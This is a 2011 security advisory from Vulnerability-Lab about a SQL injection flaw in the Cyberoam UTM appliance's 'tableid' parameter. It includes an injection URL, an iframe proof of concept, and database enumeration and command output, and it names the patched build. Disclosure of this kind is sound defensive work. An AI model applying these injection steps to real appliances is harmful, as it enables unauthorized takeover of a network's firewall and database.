Document Title:
===============
Cyberoam UTM Appliance - SQL Injection Vulnerability
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=60
Release Date:
=============
2011-12-18
Vulnerability Laboratory ID (VL-ID):
====================================
60
Product & Service Introduction:
===============================
Small and medium enterprises are as much at risk as large enterprises from the targeted attacks of today. They need to protect their networks
effectively from external and internal threats without a large security budget. Cyberoam CR50ia, CR100ia, CR200i and CR300i are powerful
identity-based unified threat management appliances, delivering comprehensive protection to small and medium enterprises (SMEs) with limited
investment in financial and technical resources. Cyberoam gateway security appliance offers protection from blended threats that include virus,
spam, malware, phishing, pharming. Its unique identity-based security based on Layer 8 technology protects enterprises from internal threats that
lead to data theft and loss by giving complete visibility into and control over internal users.
(Copy of the Vendor Homepage: http://cyberoam.com/crismes.html)
Abstract Advisory Information:
==============================
Vulnerability-Lab Team discovered a SQL Injection Vulnerability on the Cyberoam UTM & Security Appliance.
Vulnerability Disclosure Timeline:
==================================
2011-12-19: Public or Non-Public Disclosure
Discovery Status:
=================
Published
Affected Product(s):
====================
Elitecore Technologie
Product: Cyberoam UTM Appliance 10.x - CR300i, CR500i & older versions
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Critical
Technical Details & Description:
================================
A critical SQL Injection vulnerability is detected on the Cyberoam UTM WAF Appliance v10.x. The vulnerability allows an attacker to inject
own sql statements on the affected firewall appliance dbms. Remote attackers can takeover the server and compromise the dbms & appliance.
Vulnerable Module(s):
[+] Controller - (?mode=301&tableid=[[]]&sort=&dir=)
--- SQL Error Logs ---
java.sql.SQLException: ERROR: each UNION query must have the same number of columns
...
java.sql.SQLException: ERROR: UNION types character varying and integer cannot be matched
...
java.sql.SQLException: ERROR: ORDER BY position 100 is not in select list
java.sql.SQLException: ERROR: ORDER BY position 10 is not in select list
java.sql.SQLException: ERROR: ORDER BY position 9 is not in select list
http://127.0.0.1:8080/corporate/Controller?mode=301&tableid=1%20order%20by%208--&sort=&dir=
java.sql.SQLException: ERROR: ERROR: ORDER BY position 8 org.postgresql.util.PSQLException: No results were returned by the query. <= Columns: 8
...
org.postgresql.util.PSQLException: No results were returned by the query.
...
java.sql.SQLException: ERROR: unterminated quoted string at or near and user_id=0
...
{totalRecords:1,records:[{natprofilename: MASQ ,manage natprofileid : 1 ,isdefault :y}]}
...
Affected Version(s):
[+] Cyberoam UTM Appliance CR300i, CR500i v10 & older versions
Pictures:
../1.png
../2.png
../3.png
../4.png
../5.png
../sql_1.png
../sql_2.png
../os_exec.png
Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers with auth. For demonstration or reproduce ...
<html><head>
<body>
<title>p0c</title>
<iframe src=http://127.0.0.1:8080/corporate/Controller?mode=301&tableid=[SQL-IJ]&sort=&dir=>INJECT width=800 height=800>
</body>
</head>
</html>
Reference:
[+] http://xxx.com/corporate/Controller?mode=301&tableid=2&sort=&dir=
--- SQL Access Log ---
current user: 'nobody'
banner: 'PostgreSQL 8.4.3 on i686-pc-linux-gnu, compiled by GCC gcc (GCC) 4.1.2 20070626 (Red Hat 4.1.2-13), 32-bit'
current database: 'corporate'
database management system users [1]:
[*] nobody
current user: 'nobody'
database management system users privileges:
[*] nobody (administrator) [3]:
privilege: catupd
privilege: createdb
privilege: super
available databases [1]:
[*] corporate
Database: public
[34 tables]
+---------------------------+
| tblapplianceparam |
| tblappliancespecificparam |
| tblattributes |
| tblcolumndetail |
| tblcompany |
| tblcrevent |
| tblcrparam |
| tblcrreplyparam |
| tblddnsserviceprovider |
| tblentity |
| tblentitygrouprelation |
| tblfirewallcolumns |
| tblgroupcolumns |
| tblicmpcode |
| tblicmptype |
| tblieentity |
| tblieentityparam |
| tblieregex |
| tblimlogginglevel |
| tblimprotocol |
| tblinterface |
| tblipprotocol |
| tbllanguage |
| tbllocalservice |
| tbllocalservicetype |
| tbllogoutput |
| tbllogseverity |
| tblmanagecolumn |
| tbloperation |
| tblregistration |
| tblstatusmappings |
| tbltheme |
| tblurlacl |
| tblweekday |
+---------------------------+
Database: public
[34 tables]
+---------------------------+
| tblapplianceparam |
| tblappliancespecificparam |
| tblattributes |
| tblcolumndetail |
| tblcompany |
| tblcrevent |
| tblcrparam |
| tblcrreplyparam |
| tblddnsserviceprovider |
| tblentity |
| tblentitygrouprelation |
| tblfirewallcolumns |
| tblgroupcolumns |
| tblicmpcode |
| tblicmptype |
| tblieentity |
| tblieentityparam |
| tblieregex |
| tblimlogginglevel |
| tblimprotocol |
| tblinterface |
| tblipprotocol |
| tbllanguage |
| tbllocalservice |
| tbllocalservicetype |
| tbllogoutput |
| tbllogseverity |
| tblmanagecolumn |
| tbloperation |
| tblregistration |
| tblstatusmappings |
| tbltheme |
| tblurlacl |
| tblweekday |
+---------------------------+
Command standard output: Linux localhost 2.6.27.45-crl #274 SMP Fri Jul 2 23:00:46 IST 2011 i686 unknown
Solution - Fix & Patch:
=======================
Release 10.01.2 build 059
ID: 289938
Security Risk:
==============
The security risk of the remote sql injection vulnerability is estimated as critical.
Credits & Authors:
==================
Vulnerability Research Laboratory - Benjamin Kunz Mejri (Rem0ve) & Pim J.F. Campers (X4lt)
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases
or trade with fraud/stolen material.
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.vulnerability-lab.com/register
Contact: [email protected] - [email protected] - [email protected]
Section: video.vulnerability-lab.com - forum.vulnerability-lab.com - news.vulnerability-lab.com
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed),
modify, use or edit our material contact ([email protected] or [email protected]) to get a permission.
Copyright © 2012 | Vulnerability Laboratory
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation